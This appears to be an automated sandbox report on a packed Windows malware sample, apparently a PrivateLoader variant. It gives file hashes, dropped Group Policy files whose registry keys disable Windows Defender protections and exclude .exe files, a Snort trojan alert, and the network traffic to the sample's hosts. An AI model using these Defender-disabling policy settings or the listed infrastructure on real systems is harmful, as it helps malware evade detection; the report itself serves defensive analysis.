Download File

Process:	C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.2776134368191165
Encrypted:	false
SSDEEP:	3:1EX:10
MD5:	EC3584F3DB838942EC3669DB02DC908E
SHA1:	8DCEB96874D5C6425EBB81BFEE587244C89416DA
SHA-256:	77C7C10B4C860D5DDF4E057E713383E61E9F21BCF0EC4CFBBC16193F2E28F340
SHA-512:	35253883BB627A49918E7415A6BA6B765C86B516504D03A1F4FD05F80902F352A7A40E2A67A6D1B99A14B9B79DAB82F3AC7A67C512CCF6701256C13D0096855E
Malicious:	false
Reputation:	unknown
Preview:	[General]..

C:\Windows\System32\GroupPolicy\Machine\Registry.pol

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	RAGE Package Format (RPF),
Category:	dropped
Size (bytes):	1926
Entropy (8bit):	3.310422749310586
Encrypted:	false
SSDEEP:	24:wSLevFeSLe5BeSwbv5qweSw4q7j/eScdepWDbVeScden2W8eScdemevtmeScdeRg:KFIBkbv5qwk4qfKV2QxVCZ
MD5:	CDFD60E717A44C2349B553E011958B85
SHA1:	431136102A6FB52A00E416964D4C27089155F73B
SHA-256:	0EE08DA4DA3E4133E1809099FC646468E7156644C9A772F704B80E338015211F
SHA-512:	DFEA0D0B3779059E64088EA9A13CD6B076D76C64DB99FA82E6612386CAE5CDA94A790318207470045EF51F0A410B400726BA28CB6ECB6972F081C532E558D6A8
Malicious:	false
Reputation:	unknown
Preview:	PReg....[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.A.n.t.i.S.p.y.w.a.r.e...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.R.o.u.t.i.n.e.l.y.T.a.k.i.n.g.A.c.t.i.o.n...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s...;.E.x.c.l.u.s.i.o.n.s._.E.x.t.e.n.s.i.o.n.s...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s.\.E.x.t.e.n.s.i.o.n.s...;.e.x.e...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.R.e.a.l.-.T.i.m.e. .P.r.o.t.e.c.t.i.o.n...;.D.i.s.a.b.l.e.B.e.h.a.v.i.o.r.M.o.n.i.t.o.r.i.n.g...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.R.e.a.l.-.T.i.m.e. .P.

C:\Windows\System32\GroupPolicy\gpt.ini

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	127
Entropy (8bit):	5.0926418767732935
Encrypted:	false
SSDEEP:	3:1ELGUAgKLMzY+eWgTckbnnvjiBIFVTjSUgf4orFLsXovn:1WsMzYHxbnvEcvgeyn
MD5:	7CC972A3480CA0A4792DC3379A763572
SHA1:	F72EB4124D24F06678052706C542340422307317
SHA-256:	02AD5D151250848F2CC4B650A351505AA58AC13C50DA207CC06295C123DDF5E5
SHA-512:	FF5F320356E59EAF8F2B7C5A2668541252221BE2D9701006FCC64CE802E66EEAF6ECF316D925258EB12EE5B8B7DF4F8DA075E9524BADC0024B55FAE639D075B7
Malicious:	true
Reputation:	unknown
Preview:	[General]..gPCMachineExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}]..Version=2..

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465627065983165
Encrypted:	false
SSDEEP:	6144:nIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNcdwBCswSb+:IXD94+WlLZMM6YFHu++
MD5:	9465EA9C11D183AB07EB1BAA37567738
SHA1:	8BBA9CA064EDF23680505C19B1F65F8CD17F429C
SHA-256:	A04E1681DC6BC76052C81CA0ADAF72C151338C6177278B31A19757DB35751956
SHA-512:	99B0366EC4197F8055E8DF69A4D2A2963BF95FD4141488547C731AC4720F9357C244CB01E13C65EB09BE5390197C484421BE98B024FED46162C102A8CC44B961
Malicious:	false
Reputation:	unknown
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.g.q................................................................................................................................................................................................................................................................................................................................................P.E........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Entropy (8bit):	7.157220500474351
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File size:	7'633'920 bytes
MD5:	a5891df2ec1f8f0335bc744b24b4d646
SHA1:	d8aced6d7fd09deb2580990cecd2594c17d75c4d
SHA256:	92105da09cc48e4f81bdfe124904bef025ee94c8ed8809353b1f19193a8badf3
SHA512:	eae0d11b4e25ab03a194c9fd0a844559b66e9f34809a34509a61f86b8a02d48193b74b937fdf2857ad473598fb3ec888d8dbf126637750bca46d0e3c7640ffa3
SSDEEP:	98304:6iqnIOSIVtC+icuty84gK7NcnJygMABQYCFsq1kkkkkkkkkkkkkkkkkkxkkkkkkb:8IpIjut1Bc+naA6YCFVy2A026
TLSH:	DE76499B55AC293ACA0688B650CD739FE385B8F9061069C7F59CF337B623853781473A
File Content Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d...".;f.........."....'.....z......>..........@......................................t... .............................................................pT...z.............................

File Icon


Icon Hash:	13cbab63db19c0a3

Static PE Info

General

Entrypoint:	0x140b6123e
Entrypoint Section:	.themida
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, TERMINAL_SERVER_AWARE
Time Stamp:	0x663B8A22 [Wed May 8 14:20:18 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	1ba19d25372b3cb9b6f9bdd416ebf12c

Entrypoint Preview

Instruction
push ebp
call 00007FE788B5E8F4h
pop ebp
dec eax
sub ebp, 001DE244h
call 00007FE788B5E96Bh
pop eax
dec eax
sub eax, 00B61251h
jmp 00007FE788B5EA10h
jmp 00007FE788B5E8F3h
jmp 00007FE788B5E8BEh
jmp 00007FE788B5E915h
jmp 00007FE788B5E955h
dec eax
mov eax, eax
jmp 00007FE788B69D05h
jmp 00007FE788B6B47Ah
dec esp
add cl, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add dl, ah
add dword ptr [eax], ecx
add byte ptr [eax], al
add byte ptr [edx+00h], dl
jnbe 00007FE788B69D44h
push es
add byte ptr [eax], al
add byte ptr [edx], cl
add byte ptr [eax], al
add byte ptr [edx+00h], dl
jnbe 00007FE788B69D44h
add bl, bh
or al, byte ptr [eax]
add byte ptr [eax], al
push edx
add byte ptr [edx+eax-2Ch], dl
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [edx+00h], dl
jnbe 00007FE788B69D44h
inc dword ptr [ebx]
or al, byte ptr [eax]
add byte ptr [eax], al
push edx
add byte ptr [ebx], dl
add bl, byte ptr [ebx+00000A03h]
add byte ptr [edx+00h], dl
je 00007FE788B69D44h
pop esp
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [edx+00h], dl
jnbe 00007FE788B69D44h
jl 00007FE788B69D45h
or al, byte ptr [eax]
add byte ptr [eax], al
push edx
add byte ptr [edx+eax], dh
mov ah, 02h
or al, byte ptr [eax]
add byte ptr [eax], al
push edx
add byte ptr [edi+02h], dh
inc dword ptr [edx]
or al, byte ptr [eax]
add byte ptr [eax], al
push edx
add byte ptr [edx+eax], dl
sbb al, 03h
or al, byte ptr [eax]
add byte ptr [eax], al
push edx
add byte ptr [ebx+02h], ah
or al, byte ptr [ebx]
or al, byte ptr [eax]
add byte ptr [eax], al
push edx
add byte ptr [esi], dh
add ah, byte ptr [esi]
add ecx, dword ptr [edx]
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9810ba	0x118	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8cb000	0xb5470	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xda7ae8	0xc	.themida
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x982018	0x28	.tls
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x8c9000	0x245600	12940a678e69a994f4cb639abc8f297d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x8ca000	0xce8	0x800	18584045c1dccbc7ef4310f495aa691b	False	0.8994140625	data	7.300429067665335	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x8cb000	0xb5470	0xb5600	d10aee7bbe0be6ae78eafc4cce932cf5	False	0.6584359924190214	data	6.651335158773274	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x981000	0x1000	0x200	4bf223b6416379557b023845e0f1ad76	False	0.41015625	data	3.2090583705591094	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x982000	0x1000	0x200	1fa547a6dbdd4b497a329b2e2832228e	False	0.052734375	data	0.26425924870095685	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.themida	0x983000	0x44c000	0x44c000	dc4615e547153f6355b6364ec3754338	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
MUI	0x8cb0a0	0x128	data	English	Caribbean	0.5844594594594594
PNG	0x226464	0xe4d2	data	English	Caribbean	1.0004438526409232
PNG	0x234938	0x106c7	data	English	Caribbean	1.0004608226427436
PNG	0x245000	0xb70	data	English	Caribbean	1.0037568306010929
PNG	0x245b70	0xb90	data	English	Caribbean	1.004068047337278
PNG	0x246700	0xca2	empty	English	Caribbean	0
PNG	0x2473a4	0xe36	empty	English	Caribbean	0
PNG	0x2481dc	0xd49	empty	English	Caribbean	0
PNG	0x248f28	0xd91	empty	English	Caribbean	0
PNG	0x249cbc	0x31be	empty	English	Caribbean	0
PNG	0x24ce7c	0x2811	empty	English	Caribbean	0
PNG	0x24f690	0x298b	empty	English	Caribbean	0
PNG	0x25201c	0x289d	empty	English	Caribbean	0
PNG	0x2548bc	0xee7	empty	English	Caribbean	0
REGISTRY	0x8cb50c	0x4a7	ASCII text, with CRLF line terminators	English	Caribbean	0.3047858942065491
REGISTRY	0x8cb9dc	0x445	ASCII text, with CRLF line terminators	English	Caribbean	0.312900274473925
REGISTRY	0x8cbe4c	0x30e	ASCII text, with CRLF line terminators	English	Caribbean	0.37468030690537085
REGISTRY	0x8cc184	0xbe4	ASCII text, with CRLF line terminators	English	Caribbean	0.18495400788436267
REGISTRY	0x8ccd90	0x355	ASCII text, with CRLF line terminators	English	Caribbean	0.3622508792497069
REGISTRY	0x8cd110	0x348	ASCII text, with CRLF line terminators	English	Caribbean	0.3547619047619048
REGISTRY	0x8cd480	0x380	ASCII text, with CRLF line terminators	English	Caribbean	0.34263392857142855
TYPELIB	0x8cd850	0x12584	data	English	Caribbean	0.33957945169017834
WEVT_TEMPLATE	0x269f2c	0x44a	empty	English	Caribbean	0
RT_ICON	0x8e0060	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	Caribbean	0.500703564727955
RT_ICON	0x8e1130	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	English	Caribbean	0.3759447331128956
RT_ICON	0x8e5380	0xca34	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	Caribbean	1.0005022795765397
RT_ICON	0x8f1ddc	0x2868	Device independent bitmap graphic, 128 x 256 x 4, image size 8192	English	Caribbean	0.2267014694508894
RT_ICON	0x8f466c	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Caribbean	0.325609756097561
RT_ICON	0x8f4cfc	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Caribbean	0.4260752688172043
RT_ICON	0x8f500c	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	Caribbean	0.45901639344262296
RT_ICON	0x8f521c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Caribbean	0.5540540540540541
RT_ICON	0x8f536c	0x4c28	Device independent bitmap graphic, 128 x 256 x 8, image size 16384, 256 important colors	English	Caribbean	0.36217685679113665
RT_ICON	0x8f9fbc	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Caribbean	0.5951492537313433
RT_ICON	0x8fae8c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Caribbean	0.6877256317689531
RT_ICON	0x8fb75c	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	Caribbean	0.7194700460829493
RT_ICON	0x8fbe4c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Caribbean	0.4804913294797688
RT_ICON	0x8fc3dc	0xf77d	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	Caribbean	0.9964802626386982
RT_ICON	0x90bb84	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	Caribbean	0.3235981308411215
RT_ICON	0x91c3d4	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	Caribbean	0.3817312234293812
RT_ICON	0x920624	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Caribbean	0.47406639004149376
RT_ICON	0x922bf4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Caribbean	0.5119606003752345
RT_ICON	0x923cc4	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	Caribbean	0.6303278688524591
RT_ICON	0x924674	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Caribbean	0.6019503546099291
RT_ICON	0x924b04	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Caribbean	0.3
RT_ICON	0x925194	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Caribbean	0.4112903225806452
RT_ICON	0x9254a4	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Caribbean	0.5709459459459459
RT_ICON	0x9255f4	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Caribbean	0.55090618336887
RT_ICON	0x9264c4	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Caribbean	0.6651624548736462
RT_ICON	0x926d94	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Caribbean	0.42557803468208094
RT_ICON	0x927324	0xbd63	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	Caribbean	0.9922859559020688
RT_ICON	0x9330b0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Caribbean	0.38516597510373446
RT_ICON	0x935680	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Caribbean	0.44183864915572235
RT_ICON	0x936750	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Caribbean	0.5177304964539007
RT_ICON	0x936be0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Caribbean	0.2176829268292683
RT_ICON	0x937270	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Caribbean	0.27956989247311825
RT_ICON	0x937580	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Caribbean	0.4391891891891892
RT_ICON	0x9376d0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Caribbean	0.4192430703624733
RT_ICON	0x9385a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Caribbean	0.3898916967509025
RT_ICON	0x938e70	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Caribbean	0.11705202312138728
RT_ICON	0x939400	0x76f8	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	Caribbean	0.9807919621749409
RT_ICON	0x940b20	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Caribbean	0.24398340248962655
RT_ICON	0x9430f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Caribbean	0.26852720450281425
RT_ICON	0x9441c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Caribbean	0.13918439716312056
RT_ICON	0x944650	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Caribbean	0.43597560975609756
RT_ICON	0x944ce0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Caribbean	0.5134408602150538
RT_ICON	0x944ff0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Caribbean	0.5945945945945946
RT_ICON	0x945140	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Caribbean	0.646588486140725
RT_ICON	0x946010	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Caribbean	0.7621841155234657
RT_ICON	0x9468e0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Caribbean	0.6141618497109826
RT_ICON	0x946e70	0x121b5	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	Caribbean	1.0004179869210543
RT_ICON	0x959050	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Caribbean	0.6023858921161825
RT_ICON	0x95b620	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Caribbean	0.6538461538461539
RT_ICON	0x95c6f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Caribbean	0.6976950354609929
RT_ICON	0x95cb80	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Caribbean	0.4396341463414634
RT_ICON	0x95d210	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Caribbean	0.581989247311828
RT_ICON	0x95d520	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Caribbean	0.581081081081081
RT_ICON	0x95d670	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Caribbean	0.6407249466950959
RT_ICON	0x95e540	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Caribbean	0.7847472924187726
RT_ICON	0x95ee10	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Caribbean	0.49783236994219654
RT_ICON	0x95f3a0	0xf09a	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	Caribbean	0.9984251712829172
RT_ICON	0x96e464	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Caribbean	0.5177385892116183
RT_ICON	0x970a34	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Caribbean	0.5393996247654784
RT_ICON	0x971b04	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Caribbean	0.5647163120567376
RT_ICON	0x971f94	0x16e8	Device independent bitmap graphic, 96 x 192 x 4, image size 0	English	Caribbean	0.2498294679399727
RT_ICON	0x9736a4	0x2ca8	Device independent bitmap graphic, 96 x 192 x 8, image size 0	English	Caribbean	0.4359692092372288
RT_ICON	0x976374	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 0	English	Caribbean	0.3481448391843599
RT_GROUP_ICON	0x97f88c	0x30	data	English	Caribbean	0.875
RT_GROUP_ICON	0x97f8e4	0xf4	data	English	Caribbean	0.5860655737704918
RT_GROUP_ICON	0x97fa00	0x92	data	English	Caribbean	0.6506849315068494
RT_GROUP_ICON	0x97fabc	0x92	data	English	Caribbean	0.6575342465753424
RT_GROUP_ICON	0x97fb78	0x92	data	English	Caribbean	0.6643835616438356
RT_GROUP_ICON	0x97fc34	0x92	data	English	Caribbean	0.678082191780822
RT_GROUP_ICON	0x97fcf0	0x30	data	English	Caribbean	0.9791666666666666
RT_VERSION	0x97fd60	0x350	data	English	Caribbean	0.4658018867924528
RT_MANIFEST	0x9800f0	0x37d	ASCII text, with CRLF line terminators	English	Caribbean	0.4479283314669653

Imports

DLL	Import
kernel32.dll	GetModuleHandleA
KERNEL32	GetModuleHandleA
USER32.dll	GetCursorPos
ADVAPI32.dll	RegCloseKey
SHELL32.dll	SHGetFolderPathA
ole32.dll	CoCreateInstance
OLEAUT32.dll	VariantClear

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Caribbean

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/24/24-13:42:02.108891	TCP	2049837	ET TROJAN Suspected PrivateLoader Activity (POST)	49730	80	192.168.2.4	85.192.56.26

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 24, 2024 13:41:57.989218950 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 13:41:57.995960951 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 13:41:57.996083021 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 13:41:57.996253014 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 13:41:58.053169966 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 13:41:58.711138010 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 13:41:58.751962900 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 13:41:58.751993895 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 13:41:58.752051115 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 13:41:58.753573895 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 13:41:58.753585100 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 13:41:58.760536909 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 13:41:59.245384932 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 13:41:59.245788097 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 13:41:59.248868942 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 13:41:59.248883963 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 13:41:59.249078989 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 13:41:59.292149067 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 13:41:59.307367086 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 13:41:59.350508928 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 13:41:59.456330061 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 13:41:59.456409931 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 13:41:59.456557989 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 13:41:59.457808971 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 13:41:59.457819939 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 13:41:59.457835913 CEST	49731	443	192.168.2.4	172.67.75.163
May 24, 2024 13:41:59.457839966 CEST	443	49731	172.67.75.163	192.168.2.4
May 24, 2024 13:41:59.521015882 CEST	49732	443	192.168.2.4	34.117.186.192
May 24, 2024 13:41:59.521064043 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 13:41:59.521132946 CEST	49732	443	192.168.2.4	34.117.186.192
May 24, 2024 13:41:59.521507978 CEST	49732	443	192.168.2.4	34.117.186.192
May 24, 2024 13:41:59.521528959 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 13:42:00.041850090 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 13:42:00.041920900 CEST	49732	443	192.168.2.4	34.117.186.192
May 24, 2024 13:42:00.044411898 CEST	49732	443	192.168.2.4	34.117.186.192
May 24, 2024 13:42:00.044425964 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 13:42:00.044642925 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 13:42:00.045383930 CEST	49732	443	192.168.2.4	34.117.186.192
May 24, 2024 13:42:00.086514950 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 13:42:00.247060061 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 13:42:00.247153044 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 13:42:00.247415066 CEST	49732	443	192.168.2.4	34.117.186.192
May 24, 2024 13:42:00.247504950 CEST	49732	443	192.168.2.4	34.117.186.192
May 24, 2024 13:42:00.247528076 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 13:42:00.247541904 CEST	49732	443	192.168.2.4	34.117.186.192
May 24, 2024 13:42:00.247555971 CEST	443	49732	34.117.186.192	192.168.2.4
May 24, 2024 13:42:01.478782892 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 13:42:01.478838921 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 13:42:01.484200954 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 13:42:01.489233017 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 13:42:01.887898922 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 13:42:01.932522058 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 13:42:02.108891010 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 13:42:02.108891010 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 13:42:02.113956928 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 13:42:02.118668079 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 13:42:02.883045912 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 13:42:02.883677959 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 13:42:02.883745909 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 13:42:02.886044025 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 13:42:02.888526917 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 13:42:02.888562918 CEST	80	49730	85.192.56.26	192.168.2.4
May 24, 2024 13:42:02.888580084 CEST	49730	80	192.168.2.4	85.192.56.26
May 24, 2024 13:42:02.932420969 CEST	49730	80	192.168.2.4	85.192.56.26
